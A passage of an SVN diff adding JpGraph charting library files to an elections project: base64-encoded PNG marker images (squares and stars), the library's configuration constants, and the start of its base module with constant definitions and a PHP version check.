+	$this->imgdata[3][0]= 324 ;
+	$this->imgdata[3][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAMAAABhEH5lAAAAXV'.
+	    'BMVEX////++Pn99/j99ff99fb98/X98/T98PL55uj43+P24+bw'.
+	    'kKPvjaHviJ3teJHpxMnoL2Pjs73WW3rWNljVWXnUVnbUK1DTJk'.
+	    '3SUHPOBz/KQmmxPVmuOFasNFOeIkWVka/fAAAAAWJLR0QAiAUd'.
+	    'SAAAAAlwSFlzAAALEgAACxIB0t1+/AAAAAd0SU1FB9MDCxYEHd'.
+	    'ceT+8AAABtSURBVHjaVchbAkMwEAXQq6i3VrQiQfa/zDYTw8z5'.
+	    'PCjGt9JVWFt1XWPh1fWNdfDy+tq6WPfRUPENNKnSnXNWPB4uv2'.
+	    'b54nSZ8jHrMtOxvWZZZtpD4KP6xLkO9/AhzhaCOMhJh68cOjzV'.
+	    '/K/4Ac2cG+nBcaRuAAAAAElFTkSuQmCC' ; 
+
+//==========================================================
+//sq_pink.png
+//==========================================================
+	$this->imgdata[4][0]= 445 ;
+	$this->imgdata[4][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAMAAABhEH5lAAAApV'.
+	    'BMVEX////6+Pz69/v49Pr38/r17/jr4+/l3Onj2efh1ua/L+i+'.
+	    'q8m+Lue9Lua8qsS8LuW8LeS7pca5LOG4LN+2Y9O2YNW1ZdO1Kt'.
+	    'y0atC0aNGzb82zbc6zKtuzKdqycsuwa8qtJtOISZ2GRpuFN6GE'.
+	    'NqCDQpmCMZ+BPpd/LJ1/K519S5B9Jpx9Jpt9JZt6RY11BJZ1BJ'.
+	    'V0BJV0BJRzBJNvNoRtIoJUEmdZ/XbrAAAAAWJLR0QAiAUdSAAA'.
+	    'AAlwSFlzAAALEgAACxIB0t1+/AAAAAd0SU1FB9MDCxYDF3iKMD'.
+	    'YAAACeSURBVHjaVczbEoIgGARgCiMtrexoWpaa2FHUgvd/tH4Y'.
+	    'BnEvv9ldhNPradPnnGBUTtPDzMRPSIF46SaBoR25dYjz3I20Lb'.
+	    'ek6BgQz73Il7KKpSgCO0pTHU0886J1sCe0ZYbALjGhjFnEM2es'.
+	    'VhZVI4d+B1QtfnV47ywCEaKeP/p7JdLejSYt0j6NIiOq1wJZIs'.
+	    'QTDA0ELHwhPBCwyR/Cni9cOmzJtwAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+//sq_blue.png
+//==========================================================
+	$this->imgdata[5][0]= 283 ;
+	$this->imgdata[5][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAMAAABhEH5lAAAAQl'.
+	    'BMVEX////4+fz39/z19vvy8vru7/ni4+7g4fHW1ue8vteXmt6B'.
+	    'hdhiZ7FQVaZETcxCSJo1Oq4zNoMjKakhJHcKFaMEC2jRVYdWAA'.
+	    'AAAWJLR0QAiAUdSAAAAAlwSFlzAAALEgAACxIB0t1+/AAAAAd0'.
+	    'SU1FB9MDCxYDN0PkEP4AAABfSURBVHjaVchHAoAgDATAVcCCIF'.
+	    'j4/1elJEjmOFDHKVgDv4iz640gLs+LMF6ZUv/VqcXXplU7Gqpy'.
+	    'PFzBT5qml9NzlOX259riWHlS4kOffviHD8PQYZx2EFMPRkw+9Q'.
+	    'FSnRPeWEDzKAAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+//sq_green.png
+//==========================================================
+	$this->imgdata[6][0]= 325 ;
+	$this->imgdata[6][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAMAAABhEH5lAAAAXV'.
+	    'BMVEX////2+vX1+vX1+fT0+fPz+PPx9/Dv9u7u9e3h7uHe697a'.
+	    '6dnO2s3I1sa10LOvza2ay5aEwYBWlE9TqE5Tkk1RkEpMrUJMg0'.
+	    'hKiUNGpEFBojw8oTcsbScaYBMWlwmMT0NtAAAAAWJLR0QAiAUd'.
+	    'SAAAAAlwSFlzAAALEgAACxIB0t1+/AAAAAd0SU1FB9MDCxYEFd'.
+	    'nFx90AAABuSURBVHjaVc9HAoAgDADB2HuJWLDx/2cKBITscW4L'.
+	    '5byzMIWtZobNDZIZtrcCGZsRQ8GwvRSRNxIiMuysODKG3alikl'.
+	    'ueOPlpKTLBaRmOZxQxaXlfb5ZWI9om4WntrXiDSJzp7SBkwMQa'.
+	    'FEy0VR/NAB2kNuj7rgAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+//sq_orange.png
+//==========================================================
+	$this->imgdata[7][0]= 321 ;
+	$this->imgdata[7][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAMAAABhEH5lAAAAUV'.
+	    'BMVEX/////8+n/8uf/8OP/59H/5Mv/zqH/zJ3/ypv/yJf/vYH/'.
+	    'u33/uXn/n0n/nUX/m0H/lzn/ljf/lDP/kS3/kCv/iR//hxv/fg'.
+	    'n/fAX/eQDYZgDW6ia5AAAAAWJLR0QAiAUdSAAAAAlwSFlzAAAL'.
+	    'EgAACxIB0t1+/AAAAAd0SU1FB9MDCxYEJIgbx+cAAAB2SURBVH'.
+	    'jaVczRCoQwDETRbLAWLZSGUA35/w/dVI0283i4DODew3YESmWW'.
+	    'kg5gWkoQAe6TleUQI/66Sy7i56+kLk7cht2N0+hcnJgQu0SqiC'.
+	    '1SzSIbzWSi6gavqJ63wSduRi2f+kwyD5rEukwCdZ1kGAMGMfv9'.
+	    'AbWuGMOr5COSAAAAAElFTkSuQmCC' ; 
+    }
+}
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_stars.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_stars.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_stars.inc.php	(revision 44)
@@ -0,0 +1,144 @@
+<?php
+//=======================================================================
+// File:	IMGDATA_STARS.INC
+// Description:	Base64 encoded images for stars
+// Created: 	2003-03-20
+// Ver:		$Id: imgdata_stars.inc.php 860 2007-03-23 19:16:19Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+
+class ImgData_Stars extends ImgData {
+    protected $name = 'Stars';
+    protected $an = array(MARK_IMG_STAR => 'imgdata');
+
+    protected $colors = array('bluegreen','lightblue','purple','blue','green','pink','red','yellow');
+    protected $index  = array('bluegreen'=>3,'lightblue'=>4,'purple'=>1, 
+			'blue'=>5,'green'=>0,'pink'=>7,'red'=>2,'yellow'=>6);
+    protected $maxidx = 7 ;
+    protected $imgdata ;
+
+    function ImgData_Stars() {
+//==========================================================
+// File: bstar_green_001.png
+//==========================================================
+	$this->imgdata[0][0]= 329 ;
+	$this->imgdata[0][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAMAAABsDg4iAAAAUV'.
+	    'BMVEX///////+/v7+83rqcyY2Q/4R7/15y/1tp/05p/0lg/zdX'.
+	    '/zdX/zVV/zdO/zFJ9TFJvDFD4yg+8Bw+3iU68hwurhYotxYosx'.
+	    'YokBoTfwANgQFUp7DWAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgF'.
+	    'HUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAxYTJj'.
+	    'CRyxgTAAAAcUlEQVR4nH3MSw6AIAwEUBL/IKBWwXL/g0pLojUS'.
+	    'ZzGLl8ko9Zumhr5iy66/GH0dp49llNPB5sTotDY5PVuLG6tnM9'.
+	    'CVKSIe1joSgPsAKSuANNaENFQvTAGzmheSkUpMBWeJZwqBT8wo'.
+	    'hmysD4bnnPsC/x8ItUdGPfAAAAAASUVORK5CYII=' ; 
+//==========================================================
+// File: bstar_blred.png
+//==========================================================
+	$this->imgdata[1][0]= 325 ;
+	$this->imgdata[1][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAMAAABsDg4iAAAATl'.
+	    'BMVEX///+/v79uRJ6jWPOSUtKrb+ejWO+gWPaGTruJTr6rZvF2'.
+	    'RqC2ocqdVuCeV+egV/GsnLuIXL66rMSpcOyATbipY/OdWOp+VK'.
+	    'aTU9WhV+yJKBoLAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgA'.
+	    'AAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAxYTJwynv1'.
+	    'XVAAAAcElEQVR4nH3MyQ6AIAwEUFIqiwju2///qLQmWiJxDnN4'.
+	    'mYxSv5lqGCs2nvaLLtZx/VhGOW1MjnPJWp0zsw2wsUY2jd09BY'.
+	    'DFmESC+BwA5UCUxhqAhqrA4CGrLpCMVGK4sZe4B+/5RLdiyMb6'.
+	    'on/PuS9CdQNC7yBXEQAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+// File: bstar_red_001.png
+//==========================================================
+	$this->imgdata[2][0]= 325 ;
+	$this->imgdata[2][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAMAAABsDg4iAAAATl'.
+	    'BMVEX///+/v7+eRFHzWG3SUmHnb37vWGr2WHG7Tlm+TljxZneg'.
+	    'Rk3KoaXgVmXnV2nxV227nJ++XGzErK3scIS4TVzzY3fqWG2mVF'.
+	    'zVU2PsV2rJFw9VAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgA'.
+	    'AAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAxYTJzCI0C'.
+	    'lSAAAAcElEQVR4nH3MyQ6AIAwEUFIqiwju2///qLQmWiJxDnN4'.
+	    'mYxSv5lqGCs2nvaLLtZx/VhGOW1MjnPJWp0zsw2wsUY2jd09BY'.
+	    'DFmESC+BwA5UCUxhqAhqrA4CGrLpCMVGK4sZe4B+/5RLdiyMb6'.
+	    'on/PuS9CdQNC7yBXEQAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+// File: bstar_blgr_001.png
+//==========================================================
+	$this->imgdata[3][0]= 325 ;
+	$this->imgdata[3][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAMAAABsDg4iAAAATl'.
+	    'BMVEX///+/v79Ehp5Yx/NSq9Jvw+dYwu9YzfZOmbtOmb5myPFG'.
+	    'gqChvcpWteBXvedXxvGcsbtcpb6su8RwzOxNmrhjyvNYwupUjK'.
+	    'ZTr9VXwOyJhmWNAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgA'.
+	    'AAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAxYTJTC65k'.
+	    'vQAAAAcElEQVR4nH3MyQ6AIAwEUFIqiwju2///qLQmWiJxDnN4'.
+	    'mYxSv5lqGCs2nvaLLtZx/VhGOW1MjnPJWp0zsw2wsUY2jd09BY'.
+	    'DFmESC+BwA5UCUxhqAhqrA4CGrLpCMVGK4sZe4B+/5RLdiyMb6'.
+	    'on/PuS9CdQNC7yBXEQAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+// File: bstar_blgr_002.png
+//==========================================================
+	$this->imgdata[4][0]= 325 ;
+	$this->imgdata[4][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAMAAABsDg4iAAAATl'.
+	    'BMVEX///+/v79EnpxY8/FS0dJv5+dY7+9Y9vBOubtOur5m8fFG'.
+	    'nKChycpW3uBX5+ZX8e2curtcvrqswsRw7OdNuLZj8/BY6udUpK'.
+	    'ZT1dRX7OtNkrW5AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgA'.
+	    'AAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAxYTJgXHeN'.
+	    'wwAAAAcElEQVR4nH3MyQ6AIAwEUFIqiwju2///qLQmWiJxDnN4'.
+	    'mYxSv5lqGCs2nvaLLtZx/VhGOW1MjnPJWp0zsw2wsUY2jd09BY'.
+	    'DFmESC+BwA5UCUxhqAhqrA4CGrLpCMVGK4sZe4B+/5RLdiyMb6'.
+	    'on/PuS9CdQNC7yBXEQAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+// File: bstar_blue_001.png
+//==========================================================
+	$this->imgdata[5][0]= 325 ;
+	$this->imgdata[5][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAMAAABsDg4iAAAATl'.
+	    'BMVEX///+/v79EY55Yi/NSetJvledYiO9YkPZOb7tObr5mkvFG'.
+	    'X6ChrcpWgOBXhedXi/Gcpbtcf76sssRwnOxNcbhjk/NYiepUbK'.
+	    'ZTfdVXh+ynNEzzAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgA'.
+	    'AAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAxYTJhStyP'.
+	    'zCAAAAcElEQVR4nH3MyQ6AIAwEUFIqiwju2///qLQmWiJxDnN4'.
+	    'mYxSv5lqGCs2nvaLLtZx/VhGOW1MjnPJWp0zsw2wsUY2jd09BY'.
+	    'DFmESC+BwA5UCUxhqAhqrA4CGrLpCMVGK4sZe4B+/5RLdiyMb6'.
+	    'on/PuS9CdQNC7yBXEQAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+// File: bstar_oy_007.png
+//==========================================================
+	$this->imgdata[6][0]= 325 ;
+	$this->imgdata[6][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAMAAABsDg4iAAAATl'.
+	    'BMVEX///+/v7+ejUTz11jSvVLn02/v1lj21li7q06+r07x2mag'.
+	    'lUbKxKHgy1bnz1fx1Ve7t5y+qlzEwqzs03C4pE3z2WPqz1imml'.
+	    'TVv1Ps01dGRjeyAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgA'.
+	    'AAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAxYTJjsGGc'.
+	    'GbAAAAcElEQVR4nH3MyQ6AIAwEUFIqiwju2///qLQmWiJxDnN4'.
+	    'mYxSv5lqGCs2nvaLLtZx/VhGOW1MjnPJWp0zsw2wsUY2jd09BY'.
+	    'DFmESC+BwA5UCUxhqAhqrA4CGrLpCMVGK4sZe4B+/5RLdiyMb6'.
+	    'on/PuS9CdQNC7yBXEQAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+// File: bstar_lred.png
+//==========================================================
+	$this->imgdata[7][0]= 325 ;
+	$this->imgdata[7][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAMAAABsDg4iAAAATl'.
+	    'BMVEX///+/v7+eRJPzWN3SUr7nb9TvWNj2WOS7Tqi+TqnxZtyg'.
+	    'Ro/KocPgVsjnV9LxV927nLa+XLTErL7scN24TarzY9/qWNemVJ'.
+	    'jVU8LsV9VCwcc9AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgA'.
+	    'AAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElNRQfTAxYTJxi9ZY'.
+	    'GoAAAAcElEQVR4nH3MyQ6AIAwEUFIqiwju2///qLQmWiJxDnN4'.
+	    'mYxSv5lqGCs2nvaLLtZx/VhGOW1MjnPJWp0zsw2wsUY2jd09BY'.
+	    'DFmESC+BwA5UCUxhqAhqrA4CGrLpCMVGK4sZe4B+/5RLdiyMb6'.
+	    'on/PuS9CdQNC7yBXEQAAAABJRU5ErkJggg==' ; 
+    }
+}
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpg-config.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpg-config.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpg-config.inc.php	(revision 44)
@@ -0,0 +1,228 @@
+<?php
+//=======================================================================
+// File:	JPG-CONFIG.INC
+// Description:	Configuration file for JpGraph library
+// Created: 	2004-03-27
+// Ver:		$Id: jpg-config.inc.php 1091 2009-01-18 22:57:40Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+
+
+//------------------------------------------------------------------------
+// Directories for cache and font directory. 
+//
+// CACHE_DIR:
+// The full absolute name of the directory to be used to store the
+// cached image files. This directory will not be used if the USE_CACHE
+// define (further down) is false. If you enable the cache please note that
+// this directory MUST be readable and writable for the process running PHP.
+// Must end with '/'
+//
+// TTF_DIR:
+// Directory where TTF fonts can be found. Must end with '/'
+//
+// The default values used if these defines are left commented out are:
+//
+// UNIX:
+//   CACHE_DIR /tmp/jpgraph_cache/
+//   TTF_DIR   /usr/share/fonts/truetype/
+//   MBTTF_DIR /usr/share/fonts/ja/TrueType/
+//
+define("TTF_DIR","/usr/share/fonts/truetype/ttf-dejavu/");
+// WINDOWS:
+//   CACHE_DIR $SERVER_TEMP/jpgraph_cache/
+//   TTF_DIR   $SERVER_SYSTEMROOT/fonts/
+//   MBTTF_DIR $SERVER_SYSTEMROOT/fonts/
+//
+//------------------------------------------------------------------------
+// define("CACHE_DIR","/tmp/jpgraph_cache/");
+// define("TTF_DIR","/usr/share/fonts/truetype/");
+// define("MBTTF_DIR","/usr/share/fonts/ja/TrueType/");
+
+//-------------------------------------------------------------------------
+// Cache directory specification for use with CSIM graphs that are
+// using the cache.
+// The directory must be the filesysystem name as seen by PHP
+// and the 'http' version must be the same directory but as 
+// seen by the HTTP server relative to the 'htdocs' ddirectory. 
+// If a relative path is specified it is taken to be relative from where
+// the image script is executed.
+// Note: The default setting is to create a subdirectory in the 
+// directory from where the image script is executed and store all files
+// there. As ususal this directory must be writeable by the PHP process.
+define("CSIMCACHE_DIR","csimcache/"); 
+define("CSIMCACHE_HTTP_DIR","csimcache/");
+
+//------------------------------------------------------------------------
+// Defines for font setup
+//------------------------------------------------------------------------
+
+// Actual name of the TTF file used together with FF_CHINESE aka FF_BIG5
+// This is the TTF file being used when the font family is specified as
+// either FF_CHINESE or FF_BIG5
+define('CHINESE_TTF_FONT','bkai00mp.ttf');
+
+// Special unicode greek language support
+define("LANGUAGE_GREEK",false);
+
+// If you are setting this config to true the conversion of greek characters
+// will assume that the input text is windows 1251 
+define("GREEK_FROM_WINDOWS",false);
+
+// Special unicode cyrillic language support
+define("LANGUAGE_CYRILLIC",false);
+
+// If you are setting this config to true the conversion
+// will assume that the input text is windows 1251, if
+// false it will assume koi8-r
+define("CYRILLIC_FROM_WINDOWS",false);
+
+// The following constant is used to auto-detect
+// whether cyrillic conversion is really necessary
+// if enabled. Just replace 'windows-1251' with a variable
+// containing the input character encoding string
+// of your application calling jpgraph.
+// A typical such string would be 'UTF-8' or 'utf-8'.
+// The comparison is case-insensitive.
+// If this charset is not a 'koi8-r' or 'windows-1251'
+// derivate then no conversion is done.
+//
+// This constant can be very important in multi-user
+// multi-language environments where a cyrillic conversion
+// could be needed for some cyrillic people
+// and resulting in just erraneous conversions
+// for not-cyrillic language based people.
+//
+// Example: In the free project management
+// software dotproject.net $locale_char_set is dynamically
+// set by the language environment the user has chosen.
+//
+// Usage: define('LANGUAGE_CHARSET', $locale_char_set);
+//
+// where $locale_char_set is a GLOBAL (string) variable
+// from the application including JpGraph.
+// 
+define('LANGUAGE_CHARSET', null);
+
+// Japanese TrueType font used with FF_MINCHO, FF_PMINCHO, FF_GOTHIC, FF_PGOTHIC
+define('MINCHO_TTF_FONT','ipam.ttf');
+define('PMINCHO_TTF_FONT','ipamp.ttf');
+define('GOTHIC_TTF_FONT','ipag.ttf');
+define('PGOTHIC_TTF_FONT','ipagp.ttf');
+
+// Assume that Japanese text have been entered in EUC-JP encoding.
+// If this define is true then conversion from EUC-JP to UTF8 is done 
+// automatically in the library using the mbstring module in PHP.
+define('ASSUME_EUCJP_ENCODING',false);
+
+//------------------------------------------------------------------------
+// Various JpGraph Settings. Adjust accordingly to your
+// preferences. Note that cache functionality is turned off by
+// default (Enable by setting USE_CACHE to true)
+//------------------------------------------------------------------------
+
+// Deafult locale for error messages.
+// This defaults to English = 'en'
+define('DEFAULT_ERR_LOCALE','en');
+
+// Deafult graphic format set to "auto" which will automatically
+// choose the best available format in the order png,gif,jpeg
+// (The supported format depends on what your PHP installation supports)
+define("DEFAULT_GFORMAT","auto");
+
+// Should the cache be used at all? By setting this to false no
+// files will be generated in the cache directory.  
+// The difference from READ_CACHE being that setting READ_CACHE to
+// false will still create the image in the cache directory
+// just not use it. By setting USE_CACHE=false no files will even
+// be generated in the cache directory.
+define("USE_CACHE",false);
+
+// Should we try to find an image in the cache before generating it? 
+// Set this define to false to bypass the reading of the cache and always
+// regenerate the image. Note that even if reading the cache is 
+// disabled the cached will still be updated with the newly generated
+// image. Set also "USE_CACHE" below.
+define("READ_CACHE",true);
+
+// Determine if the error handler should be image based or purely
+// text based. Image based makes it easier since the script will
+// always return an image even in case of errors.
+define("USE_IMAGE_ERROR_HANDLER",true);
+
+// Should the library examin the global php_errmsg string and convert
+// any error in it to a graphical representation. This is handy for the
+// occasions when, for example, header files cannot be found and this results
+// in the graph not being created and just a "red-cross" image would be seen.
+// This should be turned off for a production site.
+define("CATCH_PHPERRMSG",true);
+
+// Determine if the library should also setup the default PHP
+// error handler to generate a graphic error mesage. This is useful
+// during development to be able to see the error message as an image
+// instead as a "red-cross" in a page where an image is expected.
+define("INSTALL_PHP_ERR_HANDLER",false);
+
+// If the color palette is full should JpGraph try to allocate
+// the closest match? If you plan on using background images or
+// gradient fills it might be a good idea to enable this.
+// If not you will otherwise get an error saying that the color palette is 
+// exhausted. The drawback of using approximations is that the colors 
+// might not be exactly what you specified. 
+// Note1: This does only apply to paletted images, not truecolor 
+// images since they don't have the limitations of maximum number
+// of colors.
+define("USE_APPROX_COLORS",true);
+
+// Should usage of deprecated functions and parameters give a fatal error?
+// (Useful to check if code is future proof.)
+define("ERR_DEPRECATED",true);
+
+// Should the time taken to generate each picture be branded to the lower
+// left in corner in each generated image? Useful for performace measurements
+// generating graphs
+define("BRAND_TIMING",false);
+
+// What format should be used for the timing string?
+define("BRAND_TIME_FORMAT","(%01.3fs)");
+
+//------------------------------------------------------------------------
+// The following constants should rarely have to be changed !
+//------------------------------------------------------------------------
+
+// What group should the cached file belong to
+// (Set to "" will give the default group for the "PHP-user")
+// Please note that the Apache user must be a member of the
+// specified group since otherwise it is impossible for Apache
+// to set the specified group.
+define("CACHE_FILE_GROUP","wwwadmin");
+
+// What permissions should the cached file have
+// (Set to "" will give the default persmissions for the "PHP-user")
+define("CACHE_FILE_MOD",0664);
+
+// Decide if we should use the bresenham circle algorithm or the
+// built in Arc(). Bresenham gives better visual apperance of circles 
+// but is more CPU intensive and slower then the built in Arc() function
+// in GD. Turned off by default for speed
+define("USE_BRESENHAM",false);
+
+// Special file name to indicate that we only want to calc
+// the image map in the call to Graph::Stroke() used
+// internally from the GetHTMLCSIM() method.
+define("_CSIM_SPECIALFILE","_csim_special_");
+
+// HTTP GET argument that is used with image map
+// to indicate to the script to just generate the image
+// and not the full CSIM HTML page.
+define("_CSIM_DISPLAY","_jpg_csimd");
+
+// Special filename for Graph::Stroke(). If this filename is given
+// then the image will NOT be streamed to browser of file. Instead the
+// Stroke call will return the handler for the created GD image.
+define("_IMG_HANDLER","__handle");
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph.php	(revision 44)
@@ -0,0 +1,5244 @@
+<?php
+//=======================================================================
+// File:	JPGRAPH.PHP
+// Description:	PHP Graph Plotting library. Base module.
+// Created: 	2001-01-08
+// Ver:		$Id: jpgraph.php 1091 2009-01-18 22:57:40Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+require_once('jpg-config.inc.php');
+require_once('jpgraph_gradient.php');
+require_once('jpgraph_errhandler.inc.php');
+require_once('jpgraph_ttf.inc.php');
+require_once('jpgraph_rgb.inc.php');
+require_once('jpgraph_text.inc.php');
+require_once('jpgraph_legend.inc.php');
+
+// Version info
+define('JPG_VERSION','2.3.5-dev');
+
+// Minimum required PHP version
+define('MIN_PHPVERSION','5.1.0');
+
+// Should the image be a truecolor image? 
+define('USE_TRUECOLOR',true);
+
+//------------------------------------------------------------------------
+// Automatic settings of path for cache and font directory
+// if they have not been previously specified
+//------------------------------------------------------------------------
+if(USE_CACHE) {
+    if (!defined('CACHE_DIR')) {
+	if ( strstr( PHP_OS, 'WIN') ) {
+	    if( empty($_SERVER['TEMP']) ) {
+		$t = new ErrMsgText();
+		$msg = $t->Get(11,$file,$lineno);
+		die($msg);
+	    }
+	    else {
+		define('CACHE_DIR', $_SERVER['TEMP'] . '/');
+	    }
+	} else {
+	    define('CACHE_DIR','/tmp/jpgraph_cache/');
+	}
+    }
+}
+elseif( !defined('CACHE_DIR') ) {
+    define('CACHE_DIR', '');
+}
+
+if (!defined('TTF_DIR')) {
+    if (strstr( PHP_OS, 'WIN') ) {
+	$sroot = getenv('SystemRoot');
+        if( empty($sroot) ) {
+	    $t = new ErrMsgText();
+	    $msg = $t->Get(12,$file,$lineno);
+	    die($msg);
+        }
+	else {
+	  define('TTF_DIR', $sroot.'/fonts/');
+        }
+    } else {
+	define('TTF_DIR','/usr/share/fonts/truetype/');
+    }
+}
+
+if (!defined('MBTTF_DIR')) {
+    if (strstr( PHP_OS, 'WIN') ) {
+	$sroot = getenv('SystemRoot');
+        if( empty($sroot) ) {
+	    $t = new ErrMsgText();
+	    $msg = $t->Get(12,$file,$lineno);
+	    die($msg);
+        }
+	else {
+	  define('TTF_DIR', $sroot.'/fonts/');
+        }
+    } else {
+	define('MBTTF_DIR','/usr/share/fonts/ja/TrueType/');
+    }
+}
+
+//------------------------------------------------------------------
+// Constants which are used as parameters for the method calls
+//------------------------------------------------------------------
+
+
+// Tick density
+define("TICKD_DENSE",1);
+define("TICKD_NORMAL",2);
+define("TICKD_SPARSE",3);
+define("TICKD_VERYSPARSE",4);
+
+// Side for ticks and labels. 
+define("SIDE_LEFT",-1);
+define("SIDE_RIGHT",1);
+define("SIDE_DOWN",-1);
+define("SIDE_BOTTOM",-1);
+define("SIDE_UP",1);
+define("SIDE_TOP",1);
+
+// Legend type stacked vertical or horizontal
+define("LEGEND_VERT",0);
+define("LEGEND_HOR",1);
+
+// Mark types for plot marks
+define("MARK_SQUARE",1);
+define("MARK_UTRIANGLE",2);
+define("MARK_DTRIANGLE",3);
+define("MARK_DIAMOND",4);
+define("MARK_CIRCLE",5);
+define("MARK_FILLEDCIRCLE",6);
+define("MARK_CROSS",7);
+define("MARK_STAR",8);
+define("MARK_X",9);
+define("MARK_LEFTTRIANGLE",10);
+define("MARK_RIGHTTRIANGLE",11);
+define("MARK_FLASH",12);
+define("MARK_IMG",13);
+define("MARK_FLAG1",14);
+define("MARK_FLAG2",15);
+define("MARK_FLAG3",16);
+define("MARK_FLAG4",17);
+
+// Builtin images
+define("MARK_IMG_PUSHPIN",50);
+define("MARK_IMG_SPUSHPIN",50);
+define("MARK_IMG_LPUSHPIN",51);
+define("MARK_IMG_DIAMOND",52);
+define("MARK_IMG_SQUARE",53);
+define("MARK_IMG_STAR",54);
+define("MARK_IMG_BALL",55);
+define("MARK_IMG_SBALL",55);
+define("MARK_IMG_MBALL",56);
+define("MARK_IMG_LBALL",57);
+define("MARK_IMG_BEVEL",58);
+
+// Inline defines
+define("INLINE_YES",1);
+define("INLINE_NO",0);
+
+// Format for background images
+define("BGIMG_FILLPLOT",1);
+define("BGIMG_FILLFRAME",2);
+define("BGIMG_COPY",3);
+define("BGIMG_CENTER",4);
+define("BGIMG_FREE",5);
+
+// Depth of objects
+define("DEPTH_BACK",0);
+define("DEPTH_FRONT",1);
+
+// Direction
+define("VERTICAL",1);
+define("HORIZONTAL",0);
+
+
+// Axis styles for scientific style axis
+define('AXSTYLE_SIMPLE',1);
+define('AXSTYLE_BOXIN',2);
+define('AXSTYLE_BOXOUT',3);
+define('AXSTYLE_YBOXIN',4);
+define('AXSTYLE_YBOXOUT',5);
+
+// Style for title backgrounds
+define('TITLEBKG_STYLE1',1);
+define('TITLEBKG_STYLE2',2);
+define('TITLEBKG_STYLE3',3);
+define('TITLEBKG_FRAME_NONE',0);
+define('TITLEBKG_FRAME_FULL',1);
+define('TITLEBKG_FRAME_BOTTOM',2);
+define('TITLEBKG_FRAME_BEVEL',3);
+define('TITLEBKG_FILLSTYLE_HSTRIPED',1);
+define('TITLEBKG_FILLSTYLE_VSTRIPED',2);
+define('TITLEBKG_FILLSTYLE_SOLID',3);
+
+// Style for background gradient fills
+define('BGRAD_FRAME',1);
+define('BGRAD_MARGIN',2);
+define('BGRAD_PLOT',3);
+
+// Width of tab titles
+define('TABTITLE_WIDTHFIT',0);
+define('TABTITLE_WIDTHFULL',-1);
+
+// Defines for 3D skew directions
+define('SKEW3D_UP',0);
+define('SKEW3D_DOWN',1);
+define('SKEW3D_LEFT',2);
+define('SKEW3D_RIGHT',3);
+
+// Line styles
+define('LINESTYLE_SOLID',1);
+define('LINESTYLE_DOTTED',2);
+define('LINESTYLE_DASHED',3);
+define('LINESTYLE_LONGDASH',4);
+
+// For internal use only
+define("_JPG_DEBUG",false);
+define("_FORCE_IMGTOFILE",false);
+define("_FORCE_IMGDIR",'/tmp/jpgimg/');
+
+require_once('gd_image.inc.php');
+
+function CheckPHPVersion($aMinVersion)
+{
+    list($majorC, $minorC, $editC) = split('[/.-]', PHP_VERSION);
+    list($majorR, $minorR, $editR) = split('[/.-]', $aMinVersion);
+  
+    if ($majorC != $majorR) return false;
+    if ($majorC < $majorR) return false;
+    // same major - check ninor
+    if ($minorC > $minorR) return true;
+    if ($minorC < $minorR) return false;
+    // and same minor
+    if ($editC  >= $editR)  return true;
+    return true;
+}
+
+//
+// Make sure PHP version is high enough
+//
